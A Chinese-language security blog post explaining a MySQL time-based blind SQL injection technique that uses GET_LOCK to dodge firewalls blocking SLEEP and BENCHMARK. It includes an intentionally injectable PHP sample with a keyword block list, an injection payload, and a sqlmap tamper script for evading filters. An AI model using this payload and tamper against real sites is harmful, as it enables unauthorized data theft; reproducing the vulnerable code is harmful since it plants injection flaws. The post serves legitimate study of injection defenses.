SQL注入漏洞由来已久,关于盲注方面一直都是安全爱好者喜欢研究的话题。记得最早了解到DNS外传的思路是在oldjun的博客,当时被这种技巧所吸引,不过该方法依赖于mysql版本和window环境的限制。

首先介绍一下什么是SQL盲注

在SQL注入中,往往需要引入“超出预期”的SQL语句,最好是希望将“额外”的查询内容直接显示在页面上,使用的手法有:“报错查询(error-based)”、“联合查询(union-select)”。对于无法直接回显出内容的情况需要依赖true/false差异判断(boolean)、时间对比(time-based)、DNS外传数据查询(data exfiltration through DNS channel)等方法进行捕获。例如:“select if(user()='root@localhost',sleep(4),null)“ 当网站用户是”root@localhost“时,会延长4秒钟后返回结果,当用户不是”root@localhost“时,会立即返回,由此可以判断系统中的用户,利用同样的方法可以猜测出权限范围内所有数据库所有表中存放的内容。

    关于mysql时间类型(time-based)的注入,一直以来众所周知的有三种方法——sleep、benchmark、笛卡尔积。所以许多市面上的WAF产品也是基于此类规则去防护的。

    但是sql时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟,所以只要可以大于平均网络延迟2倍以上,就可以作为执行成功的判断依据,而大多数网站的平均响应时间在100ms以内,所以我们需要制造能达到200ms以上的时间延长的语句。

    今天我们要提到的一个mysql函数是 get_lock函数,先来看一下mysql文档中对其的描述:

GET_LOCK(str,timeout)

Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.

    在一个session中可以先锁定一个变量例如:select get_lock('do9gy',1),然后通过另一个session 再次执行get_lock函数 select get_lock('do9gy',5),此时会产生5 秒的延迟,其效果类似于sleep(5)。

mysql> select get_lock('do9gy',1);
+---------------------+
| get_lock('do9gy',1) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select get_lock('do9gy',5);
+---------------------+
| get_lock('do9gy',5) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (5.00 sec)

    于是我们可以,将此方法用于SQL注入的判断,但是利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。

    下面我们给出一个示例:

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
    die("403 forbidden!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
    die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
print_r($row);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

    该案例中,我们可以构造SQL语句 ?id=1 and get_lock('do9gy',1)

    注意:由于get_lock需要变换session请求,所以当执行完第一次以后需要停滞一段时间(半分钟左右),让Apache重新打开一个连接mysql的session,此时就可以利用get_lock进行探测了。这里给出一个基于sqlmap的tamper:

sleeptogetlock.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'SLEEP(A)' with "get_lock('do9gy',A)"

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the SLEEP() and BENCHMARK() functions

    >>> tamper('SLEEP(2)')
    "get_lock('do9gy',2)"
    """

    if payload and payload.find("SLEEP") > -1:
        while payload.find("SLEEP(") > -1:
            index = payload.find("SLEEP(")
            depth = 1
            
            num = payload[index+6]

            
            newVal = "get_lock('do9gy',%s)" % (num)
            payload = payload[:index] + newVal + payload[index+8:]


    return payload

    当遇到网站过滤单引号的情况也可以使用 get_lock(1,1) 锁定数字变量绕过。

    最后,想声明的是本方法只是笔者依据时间注入本质原理进行的一次探索,现实环境中不一定有大量合适的环境,最重要的是保持一颗不断突破瓶颈,抱有幻想和希望的心。如有不实之处还望诸君斧正。